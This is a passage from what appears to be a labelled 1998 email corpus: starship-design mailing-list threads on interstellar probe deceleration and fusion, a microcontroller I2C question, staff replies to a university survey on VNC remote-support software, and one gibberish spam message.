Unfortunately, these methods almost always rely on some trick which > cannot be provided at the other end to slow the vehicle down. Simply > doubling onboard reaction mass or fuel is not the answer. If you do the math > you will discover that doubling the mass of the vehicle will decrease the > cruise velocity significantly and drastically increase mission length. Yeah, you'll have to accelerate the propellant too :( > > Propulsion wise, what we need as a BARE MINIMUM is a self contained > accelerate/decelerate capability in the 100,000 m/sec range, or put another > way, a 200,000 m/sec total change in delta v. This would enable us to reach > the nearer stars within the lifespan of a single person (but not necessarily > to return within one person's lifetime.) > > I am working from memory here, but I think the best we can currently manage > is only 200 m/sec, which is quite a bit shy of the minimum. We may be able > to reach 100,000 m/sec buy combining several different systems i.e. a > powered perihelion maneuver with a maser sail last stage, but this is again, > only one way. > > Lee > I just have a funny feeling that there is something that I/we have missed... There just might be some way of using all these Magnetic fields, sheets and pauses to provide SOME sort of brakeing :| Or what about brakeing via a solar sail? Or (worst-case and ONLY for a really tough probe) what about hard-landing it??? These are just some wild guesses but there's GOT to be something we can work with??? Bjorn Ever so Hopefull... >From VM Fri Aug 14 14:37:13 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""614"" ""Fri"" ""14"" ""August"" ""1998"" ""14:02:55"" ""-0700"" ""Steve VanDevender"" ""stevev@darkwing.uoregon.edu"" nil ""10"" ""starship-design: misdirected postings"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 614 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA17117 for starship-design-outgoing; Fri, 14 Aug 1998 14:02:58 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA17109; Fri, 14 Aug 1998 14:02:56 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13780.42495.727974.723759@darkwing.uoregon.edu> X-Mailer: VM 6.59 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: misdirected postings Date: Fri, 14 Aug 1998 14:02:55 -0700 (PDT) When I sent out some of the postings that initially failed to deliver Tuesday night because of problems on lists.uoregon.edu, I apparently sent them out with the address owner-starship-design@lists.uoregon.edu in the headers. I've sent out a couple more postings that came back to me as a result of this, but this time made sure to edit the correct address into the headers. Please check any replies you make to postings to make sure they are going to starship-design@lists.uoregon.edu, and not owner-starship-design, so that your postings won't be delayed from me having to manually forward them into the list. >From VM Fri Aug 14 14:37:13 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1623"" ""Thu"" ""13"" ""August"" ""1998"" ""17:56:44"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""34"" ""RE: starship-design: Interstellar Probes "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1623 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA16012 for starship-design-outgoing; Fri, 14 Aug 1998 13:59:06 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA16001 for starship-design@lists; Fri, 14 Aug 1998 13:59:04 -0700 (PDT) Message-ID: <000201bdc70d$a4cad360$515b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Bjorn Nilsson"" Cc: ""Starship Design"" Subject: RE: starship-design: Interstellar Probes Date: Thu, 13 Aug 1998 17:56:44 -0500 Bjorn, Umm, yes, no, maybe.... It is possible to use a star's magnetic field to swing a probe around a star and onto a different trajectory (even a reciprocal). The actual amount of deflection possible is determined by the velocity of the probe and the strength of the magnetic field of the star in question. Obviously, the higher the velocity the less deflection or steering that can be accomplished. But you still have to stop it when it gets home. In our discussions, we have been able to pretty much agree that there are several viable methods of accelerating a ship up about .3 or maybe even .4 c. Unfortunately, these methods almost always rely on some trick which cannot be provided at the other end to slow the vehicle down. Simply doubling onboard reaction mass or fuel is not the answer. If you do the math you will discover that doubling the mass of the vehicle will decrease the cruise velocity significantly and drastically increase mission length. Propulsion wise, what we need as a BARE MINIMUM is a self contained accelerate/decelerate capability in the 100,000 m/sec range, or put another way, a 200,000 m/sec total change in delta v. This would enable us to reach the nearer stars within the lifespan of a single person (but not necessarily to return within one person's lifetime.) I am working from memory here, but I think the best we can currently manage is only 200 m/sec, which is quite a bit shy of the minimum. We may be able to reach 100,000 m/sec buy combining several different systems i.e. a powered perihelion maneuver with a maser sail last stage, but this is again, only one way. Lee >From VM Fri Aug 14 16:07:48 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1139"" ""Thu"" ""13"" ""August"" ""1998"" ""11:30:16"" ""+0200"" ""Bjorn Nilsson"" ""f96bni@student.tdb.uu.se"" nil ""29"" ""RE: starship-design: Interstellar Probes "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1139 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA05970 for starship-design-outgoing; Fri, 14 Aug 1998 16:02:23 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA05946 for starship-design@lists.uoregon.edu; Fri, 14 Aug 1998 16:02:20 -0700 (PDT) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <000101bdc5a5$e6b8fa40$1d5b31cc@lparker> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu To: ""L. Parker"" cc: Gene Marlin , Starship Design Subject: RE: starship-design: Interstellar Probes Date: Thu, 13 Aug 1998 11:30:16 +0200 (MET DST) On Tue, 11 Aug 1998, L. Parker wrote: > Gene, > > Robert Forward proposed an interstellar probe based on a perforated sail > design combined with gravity assist and beamed microwave power. The payload > was to be 4 grams of intelligent microcircuitry embedded within the actual > structure of the craft - something that is not so far fetched any more - we > actually know how to do this! > Forward's calculations showed that we could accelerate starwisp (his name > for it) to 20 percent of the speed of light within only a few days. This > would deliver the probe to Alpha Centauri within about twenty years. > > You must note however, that this is a ""flyby"" at twenty percent of the speed > of light with a very limited payload and extremely limited data return. It > may not be very useful, especially in light of what we can potentially see > from Earth orbit with advanced optics. > Excuse my Ignorance but wouldn't it be possible to Use the target Star's Gravity to ""swing"" the probe around and into a return orbit to Earth (or at least close enough to our solar system to be recovered in some way.) Just curious... Bjorn >From VM Fri Aug 14 16:20:46 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""861"" ""Fri"" ""14"" ""August"" ""1998"" ""17:39:41"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""30"" ""RE: starship-design: Interstellar Probes "" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 861 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA05765 for starship-design-outgoing; Fri, 14 Aug 1998 16:01:35 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA05745 for starship-design@lists.uoregon.edu; Fri, 14 Aug 1998 16:01:33 -0700 (PDT) Message-ID: <000c01bdc7d4$6dc0fbc0$515b31cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Bjorn Nilsson"" Cc: ""Starship Design"" Subject: RE: starship-design: Interstellar Probes Date: Fri, 14 Aug 1998 17:39:41 -0500 Bjorn, > I assume you're actually refering to the GRAVITATIONAL field or else > you've got me really lost... :/ > > Now how high Velocity could our probe have if we want it to do a 180??? > > Does anyone know the equation? Yes, I meant MAGNETIC. It's called Lorentz Force Turning. A charged object moving through a magnetic field experiences a force at right angles ti its direction of motion and the magnetic field. The magnitude of the force is described by the equation: |Fbar| = |QVbar * Bbar| = QVBsin theta where Q is the charge on the object, Bbar is the magnetic field vector, Vbar is the velocity vector, and theta is the angle between Vbar and Bbar. Skipping a bit of math involving the application of Newton's Second Law, this can be reduced to: r = mV/QB where r is the radius of the orbit, m is the object's mass. Hope this helps Lee >From VM Mon Aug 17 09:31:34 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""902"" ""Sun"" ""16"" ""August"" ""1998"" ""14:35:49"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""17"" ""starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 902 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id OAA24073 for starship-design-outgoing; Sun, 16 Aug 1998 14:35:52 -0700 (PDT) Received: from jason01.u.washington.edu (root@jason01.u.washington.edu [140.142.70.24]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id OAA24033 for ; Sun, 16 Aug 1998 14:35:50 -0700 (PDT) Received: from dante21.u.washington.edu (nlindber@dante21.u.washington.edu [140.142.15.71]) by jason01.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA30380 for ; Sun, 16 Aug 1998 14:35:49 -0700 Received: from localhost (nlindber@localhost) by dante21.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA90782 for ; Sun, 16 Aug 1998 14:35:49 -0700 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: starship design Subject: starship-design: Staged Fusion Power Date: Sun, 16 Aug 1998 14:35:49 -0700 (PDT) I was reading some of the numbers for the various engines that could be used to power a starship, and I noticed that every fusion reaction shown only used its fuel once. If a closed powerplant (not rocket) could be run hot enough, there's no reason I can see not to run the fuel up to heavier elements instead of just throwing it away after it turns to helium. Note: I didn't do any math for this one, it might be impractical. Although I realize that a scheme like this would require reactors far superior to a today's can't-quite-ignite tokamaks, it might be doable in fifty years. The power from this type of reactor could be used to power a laser or ion drive, the latter prehaps adding the reactor exhaust to the Xenon reaction mass. The upshot is, exhaust recycling could reduce the amount of fuel required by which is one of the major hurdles of starflight. Best Regards, Nels Lindberg",0,0 EVA-01 ,handyboard@media.mit.edu,"Fri, 14 Aug 1998 19:17:40 +0800",I2C output,"Does anyone have any information on how to use the HB to output I2C signals thru it's SPI port? I'm interfacing it to the National LM4832 audio controller IC. Thanks! ",0,0 Donald Lyons ,tim@unt.edu,"Fri, 14 Aug 1998 16:20:30 -0000",Re: Helping you remotely,"Hey Tim: With regard to the VNC software I found it extremely helpful..I simply called up, John took over control of my machine and fixed the problem on the spot. Saved both of us time so I think it is an excellent addition to CAS computing services tools. Putting an icon on the start menu would also be great...especially for those of us who are relatively computer illiterate. Thanks Don Donald Lyons -- End -- Received: from SpoolDir by CAS (Mercury 1.43); 14 Aug 98 16:53:08 -0600 Return-path: Received: from Mercury.unix.acs.cc.unt.edu (129.120.220.1) by facstaff.cas.unt.edu (Mercury 1.43) with ESMTP; 14 Aug 98 16:52:43 -0600 Received: from facstaff.cas.unt.edu (facstaff.cas.unt.edu [129.120.3.241]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id QAA07610 for ; Fri, 14 Aug 1998 16:52:42 -0500 (CDT) Message-Id: <199808142152.QAA07610@Mercury.unix.acs.cc.unt.edu> Received: from CAS/SpoolDir by facstaff.cas.unt.edu (Mercury 1.43); 14 Aug 98 16:52:42 -0600 Received: from SpoolDir by CAS (Mercury 1.43); 14 Aug 98 16:52:08 -0600 From: ""Karen Meredith (DADR, 2211)"" Organization: UNT College of Arts and Sciences To: tim@unt.edu Date: Fri, 14 Aug 1998 16:51:48 CST6CDT MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Helping you remotely X-Confirm-Reading-To: ""Karen Meredith (DADR, 2211)"" X-pmrqc: 1 Priority: normal In-reply-to: <199808142111.QAA00825@Mercury.unix.acs.cc.unt.edu> X-mailer: Pegasus Mail for Win32 (v2.54) X-PMFLAGS: 34087040 0 From: ""Tim Christian"" Organization: UNT College of Arts and Sciences To: gilesm@unt.edu, dlyons@unt.edu, critelli@unt.edu, Mreban@unt.edu, ejh0003@students.cas.unt.edu, ktaylor@unt.edu, Dleblang@unt.edu, ndsouza@unt.edu, CNeumann@facstaff.cas.unt.edu, dabsher@unt.edu, oppong@unt.edu, meredith@unt.edu, LtRob@facstaff.cas.unt.edu Date: Fri, 14 Aug 1998 16:10:09 CST6CDT Subject: Helping you remotely Reply-to: tim@unt.edu Priority: normal Howdy, At some point this summer, you called our office (CAS Computing Services, x4498) because of a problem with your computer. The person from our office offered to help by using/testing a remote control program (VNC). We have been testing VNC on a case-by-case basis because it enables us to help people more quickly (saving you and us time). It also enables us to better understand what people are trying to describe on their screen because we can actually see their screen. This facilitates good communication and, we hope, reduces additional frustration. Earlier this year the CAS Computing Committee (www.cascss.unt.edu/cascc) expressed some privacy concerns regarding the software and wanted to make sure appropriate controls were put in place to prevent abuse. Toward that end, we put a warning in place when you start the program (if you don't remember it, select ""Start/Run..."" and enter ""k:\\win\\netinfo"" and select ""Remote Control Agreement""). Instead of having people type in that series of text to enable the remote control, we would prefer to put an icon in the ""Start"" menu that did it for you. What do you think of the software? Would you recommend its use in the future? Would you recommend its addition to the ""Start"" menu? Your responses will be shared with CASCC committee members on or before September 8th. Thanks for your time, Tim. -- http://www.cas.unt.edu/~tim Your staff has helped me several times this summer with this method. I think it's great! It really expedited the help I received. I would certainly use it in the future and would not object to including it in the start menu. Thanks for asking, Karen -- End -- Received: from SpoolDir by CAS (Mercury 1.43); 17 Aug 98 07:47:16 -0600 Return-path: Received: from Mercury.unix.acs.cc.unt.edu (129.120.220.1) by facstaff.cas.unt.edu (Mercury 1.43) with ESMTP; 17 Aug 98 07:47:02 -0600 Received: from facstaff.cas.unt.edu (facstaff.cas.unt.edu [129.120.3.241]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id HAA14230 for ; Mon, 17 Aug 1998 07:47:03 -0500 (CDT) Message-Id: <199808171247.HAA14230@Mercury.unix.acs.cc.unt.edu> Received: from CAS/SpoolDir by facstaff.cas.unt.edu (Mercury 1.43); 17 Aug 98 07:47:02 -0600 Received: from SpoolDir by CAS (Mercury 1.43); 17 Aug 98 07:46:46 -0600 From: ""DONNA ABSHER"" Organization: UNT College of Arts and Sciences To: tim@unt.edu Date: Mon, 17 Aug 1998 07:46:29 CST6CDT Subject: Re: Helping you remotely X-Confirm-Reading-To: ""DONNA ABSHER"" X-pmrqc: 1 Priority: normal In-reply-to: <199808142111.QAA00825@Mercury.unix.acs.cc.unt.edu> X-mailer: Pegasus Mail for Win32 (v2.54) X-PMFLAGS: 33562752 0 I like it. From: ""Tim Christian"" Organization: UNT College of Arts and Sciences To: gilesm@unt.edu, dlyons@unt.edu, critelli@unt.edu, Mreban@unt.edu, ejh0003@students.cas.unt.edu, ktaylor@unt.edu, Dleblang@unt.edu, ndsouza@unt.edu, CNeumann@facstaff.cas.unt.edu, dabsher@unt.edu, oppong@unt.edu, meredith@unt.edu, LtRob@facstaff.cas.unt.edu Date: Fri, 14 Aug 1998 16:10:09 CST6CDT Subject: Helping you remotely Reply-to: tim@unt.edu Priority: normal Howdy, At some point this summer, you called our office (CAS Computing Services, x4498) because of a problem with your computer. The person from our office offered to help by using/testing a remote control program (VNC). We have been testing VNC on a case-by-case basis because it enables us to help people more quickly (saving you and us time). It also enables us to better understand what people are trying to describe on their screen because we can actually see their screen. This facilitates good communication and, we hope, reduces additional frustration. Earlier this year the CAS Computing Committee (www.cascss.unt.edu/cascc) expressed some privacy concerns regarding the software and wanted to make sure appropriate controls were put in place to prevent abuse. Toward that end, we put a warning in place when you start the program (if you don't remember it, select ""Start/Run..."" and enter ""k:\\win\\netinfo"" and select ""Remote Control Agreement""). Instead of having people type in that series of text to enable the remote control, we would prefer to put an icon in the ""Start"" menu that did it for you. What do you think of the software? Would you recommend its use in the future? Would you recommend its addition to the ""Start"" menu? Your responses will be shared with CASCC committee members on or before September 8th. Thanks for your time, Tim. -- http://www.cas.unt.edu/~tim ****************************************************************** Donna G. Absher - Textbook Adoptions - University of North Texas - Department of Biological Sciences P. O. Box 305220 Denton, TX 76203-5220 ******************************************************* -- End -- Received: from SpoolDir by CAS (Mercury 1.43); 17 Aug 98 10:52:33 -0600 Return-path: Received: from Mercury.unix.acs.cc.unt.edu (129.120.220.1) by facstaff.cas.unt.edu (Mercury 1.43) with ESMTP; 17 Aug 98 10:52:20 -0600 Received: from facstaff.cas.unt.edu (facstaff.cas.unt.edu [129.120.3.241]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id KAA08092 for ; Mon, 17 Aug 1998 10:52:20 -0500 (CDT) Message-Id: <199808171552.KAA08092@Mercury.unix.acs.cc.unt.edu> Received: from CAS/SpoolDir by facstaff.cas.unt.edu (Mercury 1.43); 17 Aug 98 10:52:19 -0600 Received: from SpoolDir by CAS (Mercury 1.43); 17 Aug 98 10:52:02 -0600 From: ""David Leblang"" Organization: UNT College of Arts and Sciences To: tim@unt.edu Date: Mon, 17 Aug 1998 10:51:31 CST6CDT MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Helping you remotely Reply-to: dleblang@unt.edu Priority: normal In-reply-to: <199808142111.QAA00825@Mercury.unix.acs.cc.unt.edu> X-mailer: Pegasus Mail for Win32 (v2.54) X-PMFLAGS: 34078848 0 I have had a good experience with it; however, more often than not, someone from A&S has had to come over to my office to diagnose and fix the problem. > From: ""Tim Christian"" > Organization: UNT College of Arts and Sciences > To: gilesm@unt.edu, dlyons@unt.edu, critelli@unt.edu, Mreban@unt.edu, > ejh0003@students.cas.unt.edu, ktaylor@unt.edu, Dleblang@unt.edu, > ndsouza@unt.edu, CNeumann@facstaff.cas.unt.edu, dabsher@unt.edu, > oppong@unt.edu, meredith@unt.edu, LtRob@facstaff.cas.unt.edu > Date: Fri, 14 Aug 1998 16:10:09 CST6CDT > Subject: Helping you remotely > Reply-to: tim@unt.edu > Priority: normal > Howdy, > > At some point this summer, you called our office (CAS Computing Services, > x4498) because of a problem with your computer. The person from our > office offered to help by using/testing a remote control program (VNC). > We have been testing VNC on a case-by-case basis because it enables us to > help people more quickly (saving you and us time). It also enables us to > better understand what people are trying to describe on their screen > because we can actually see their screen. This facilitates good > communication and, we hope, reduces additional frustration. > > Earlier this year the CAS Computing Committee (www.cascss.unt.edu/cascc) > expressed some privacy concerns regarding the software and wanted to make > sure appropriate controls were put in place to prevent abuse. Toward > that end, we put a warning in place when you start the program (if you > don't remember it, select ""Start/Run..."" and enter ""k:\\win\\netinfo"" and > select ""Remote Control Agreement""). Instead of having people type in > that series of text to enable the remote control, we would prefer to put > an icon in the ""Start"" menu that did it for you. > > What do you think of the software? Would you recommend its use in the > future? Would you recommend its addition to the ""Start"" menu? Your > responses will be shared with CASCC committee members on or before > September 8th. > > Thanks for your time, > Tim. > > -- > http://www.cas.unt.edu/~tim > -- End -- Received: from SpoolDir by CAS (Mercury 1.43); 17 Aug 98 12:24:05 -0600 Return-path: Received: from Mercury.unix.acs.cc.unt.edu (129.120.220.1) by facstaff.cas.unt.edu (Mercury 1.43) with ESMTP; 17 Aug 98 12:23:47 -0600 Received: from jove.acs.unt.edu (2772@jove.acs.unt.edu [129.120.220.41]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id MAA22825 for ; Mon, 17 Aug 1998 12:23:47 -0500 (CDT) Received: from localhost (ndsouza@localhost) by jove.acs.unt.edu (8.8.8/8.8.8) with SMTP id MAA07470 for ; Mon, 17 Aug 1998 12:23:46 -0500 (CDT) Date: Mon, 17 Aug 1998 12:23:46 -0500 (CDT) From: ""Nandika Anne D'Souza"" To: Tim Christian Subject: Re: Helping you remotely In-Reply-To: <199808142111.QAA00825@Mercury.unix.acs.cc.unt.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-PMFLAGS: 34078848 0 Setting up an icon with this command is fine by me, if we are still in control of enabling or disabling it. -- End -- Received: from SpoolDir by CAS (Mercury 1.43); 18 Aug 98 12:14:05 -0600 Return-path: Received: from Mercury.unix.acs.cc.unt.edu (129.120.220.1) by facstaff.cas.unt.edu (Mercury 1.43) with ESMTP; 18 Aug 98 12:13:36 -0600 Received: from facstaff.cas.unt.edu (facstaff.cas.unt.edu [129.120.3.241]) by Mercury.unix.acs.cc.unt.edu (8.8.8/8.8.8) with ESMTP id MAA08703 for ; Tue, 18 Aug 1998 12:13:36 -0500 (CDT) Message-Id: <199808181713.MAA08703@Mercury.unix.acs.cc.unt.edu> Received: from CAS/SpoolDir by facstaff.cas.unt.edu (Mercury 1.43); 18 Aug 98 12:13:35 -0600 Received: from SpoolDir by CAS (Mercury 1.43); 18 Aug 98 12:13:05 -0600 From: ""Giles Mitchell"" Organization: UNT College of Arts and Sciences To: tim@unt.edu Date: Tue, 18 Aug 1998 12:12:42 CST6CDT MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Helping you remotely Priority: normal In-reply-to: <199808142111.QAA00825@Mercury.unix.acs.cc.unt.edu> X-mailer: Pegasus Mail for Win32 (v2.54) X-PMFLAGS: 34078848 0 > From: ""Tim Christian"" > Organization: UNT College of Arts and Sciences > To: gilesm@unt.edu, dlyons@unt.edu, critelli@unt.edu, Mreban@unt.edu, > ejh0003@students.cas.unt.edu, ktaylor@unt.edu, Dleblang@unt.edu, > ndsouza@unt.edu, CNeumann@facstaff.cas.unt.edu, dabsher@unt.edu, > oppong@unt.edu, meredith@unt.edu, LtRob@facstaff.cas.unt.edu > Date: Fri, 14 Aug 1998 16:10:09 CST6CDT > Subject: Helping you remotely > Reply-to: tim@unt.edu > Priority: normal > Howdy, > > At some point this summer, you called our office (CAS Computing Services, > x4498) because of a problem with your computer. The person from our > office offered to help by using/testing a remote control program (VNC). > We have been testing VNC on a case-by-case basis because it enables us to > help people more quickly (saving you and us time). It also enables us to > better understand what people are trying to describe on their screen > because we can actually see their screen. This facilitates good > communication and, we hope, reduces additional frustration. > > Earlier this year the CAS Computing Committee (www.cascss.unt.edu/cascc) > expressed some privacy concerns regarding the software and wanted to make > sure appropriate controls were put in place to prevent abuse. Toward > that end, we put a warning in place when you start the program (if you > don't remember it, select ""Start/Run..."" and enter ""k:\\win\\netinfo"" and > select ""Remote Control Agreement""). Instead of having people type in > that series of text to enable the remote control, we would prefer to put > an icon in the ""Start"" menu that did it for you. > > What do you think of the software? Would you recommend its use in the > future? Would you recommend its addition to the ""Start"" menu? Your ****I think it's fine. I have no problems with it about privacy. It facilitates work on the problems. Giles Mitchell > responses will be shared with CASCC committee members on or before > September 8th. > > Thanks for your time, > Tim. > > -- > http://www.cas.unt.edu/~tim > Giles Mitchell Department of English University of North Texas Denton, TX 76203 -- End --",0,1 Catherine Pattison ,handyboard@media.mit.edu,"Sat, 15 Aug 1998 23:42:26 -0500",The REAL Diet Deal,"! eucharist see sulfide see hollyhock it's fluent and loom ",1,0 Zach Johnson ,"""N. Lindberg"" ","Sun, 16 Aug 1998 16:55:27 -0600",Re: starship-design: Staged Fusion Power," N. Lindberg wrote: > I was reading some of the numbers for the various engines that > could be used to power a starship, and I noticed that every fusion > reaction shown only used its fuel once. If a closed powerplant (not > rocket) could be run hot enough, there's no reason I can see not to run > the fuel up to heavier elements instead of just throwing it away after it > turns to helium. Note: I didn't do any math for this one, it might be > impractical. Although I realize that a scheme like this would require > reactors far superior to a today's can't-quite-ignite tokamaks, it might > be doable in fifty years. The power from this type of reactor could be > used to power a laser or ion drive, the latter prehaps adding the > reactor exhaust to the Xenon reaction mass. > The upshot is, exhaust recycling could reduce the amount of fuel > required by which is one of the major hurdles of starflight. > Best Regards, > Nels Lindberg Could you combine fusion and fision to produce a continous reaction? From, Zachary Johnson ",0,0 Zach Johnson ,"""N. Lindberg"" ","Sun, 16 Aug 1998 16:56:08 -0600",Re: starship-design: Staged Fusion Power," N. Lindberg wrote: > I was reading some of the numbers for the various engines that > could be used to power a starship, and I noticed that every fusion > reaction shown only used its fuel once. If a closed powerplant (not > rocket) could be run hot enough, there's no reason I can see not to run > the fuel up to heavier elements instead of just throwing it away after it > turns to helium. Note: I didn't do any math for this one, it might be > impractical. Although I realize that a scheme like this would require > reactors far superior to a today's can't-quite-ignite tokamaks, it might > be doable in fifty years. The power from this type of reactor could be > used to power a laser or ion drive, the latter prehaps adding the > reactor exhaust to the Xenon reaction mass. > The upshot is, exhaust recycling could reduce the amount of fuel > required by which is one of the major hurdles of starflight. > Best Regards, > Nels Lindberg Could you combine fusion and fission to produce a continuos reaction? From, Zachary Johnson ",0,0 """L. Parker"" ",Zach Johnson ,"Sun, 16 Aug 1998 18:43:51 -0500",RE: starship-design: Staged Fusion Power,"Nels and Zach, While the idea is doable (Project Dumbo, 1960 something) The output is far below what we can achieve through other means. There is a lot of energy loss to waste heat, etc. Check the site I uploaded on AIMSTAR and antimatter catalyzed microfusion. Lee -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Zach Johnson Sent: Sunday, August 16, 1998 5:55 PM To: N. Lindberg Cc: starship design Subject: Re: starship-design: Staged Fusion Power N. Lindberg wrote: > I was reading some of the numbers for the various engines that > could be used to power a starship, and I noticed that every fusion > reaction shown only used its fuel once. If a closed powerplant (not > rocket) could be run hot enough, there's no reason I can see not to run > the fuel up to heavier elements instead of just throwing it away after it > turns to helium. Note: I didn't do any math for this one, it might be > impractical. Although I realize that a scheme like this would require > reactors far superior to a today's can't-quite-ignite tokamaks, it might > be doable in fifty years. The power from this type of reactor could be > used to power a laser or ion drive, the latter prehaps adding the > reactor exhaust to the Xenon reaction mass. > The upshot is, exhaust recycling could reduce the amount of fuel > required by which is one of the major hurdles of starflight. > Best Regards, > Nels Lindberg Could you combine fusion and fision to produce a continous reaction? From, Zachary Johnson ",0,0 Steve VanDevender ,Zach Johnson ,"Sun, 16 Aug 1998 19:12:58 -0700",Re: starship-design: Staged Fusion Power,"Zach Johnson writes: > N. Lindberg wrote: > > > I was reading some of the numbers for the various engines that > > could be used to power a starship, and I noticed that every fusion > > reaction shown only used its fuel once. If a closed powerplant (not > > rocket) could be run hot enough, there's no reason I can see not to run > > the fuel up to heavier elements instead of just throwing it away after it > > turns to helium. Note: I didn't do any math for this one, it might be > > impractical. Although I realize that a scheme like this would require > > reactors far superior to a today's can't-quite-ignite tokamaks, it might > > be doable in fifty years. The power from this type of reactor could be > > used to power a laser or ion drive, the latter prehaps adding the > > reactor exhaust to the Xenon reaction mass. > > The upshot is, exhaust recycling could reduce the amount of fuel > > required by which is one of the major hurdles of starflight. > > Best Regards, > > Nels Lindberg > > Could you combine fusion and fision to produce a continous reaction? Well, conservation of energy says that there has to be some limit to that. You should also remember that both fission and fusion conserve nucleons (although beta decay and inverse beta decay may change a neutron into a proton and electron and neutrino, or vice versa). So that puts an even more stringent limit on the amount of energy you could get; no matter what happens, the energy tied up in the nucleon's masses is never released, only the binding energy holding them together. One problem with a multi-element fusion reactor is that it takes progressively higher temperatures and pressures to induce fusion in heavier nuclei. So the cost of fusing the heavier elements may not be well offset by the additional energy provided. >From VM Mon Aug 17 09:31:34 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1356"" ""Sun"" ""16"" ""August"" ""1998"" ""23:24:33"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""34"" ""Re: RE: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1356 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA05495 for starship-design-outgoing; Sun, 16 Aug 1998 20:25:13 -0700 (PDT) Received: from imo13.mx.aol.com (imo13.mx.aol.com [198.81.17.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA05486 for ; Sun, 16 Aug 1998 20:25:11 -0700 (PDT) Received: from KellySt@aol.com by imo13.mx.aol.com (IMOv14_b1.1) id ELKAa11435; Sun, 16 Aug 1998 23:24:33 +2000 (EDT) Message-ID: <5c6e49fb.35d7a272@aol.com> Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: rmarlin@network-one.com, starship-design@lists.uoregon.edu Subject: Re: RE: starship-design: Interstellar Probes Date: Sun, 16 Aug 1998 23:24:33 EDT In a message dated 8/14/98 6:06:37 PM, f96bni@student.tdb.uu.se wrote: >On Tue, 11 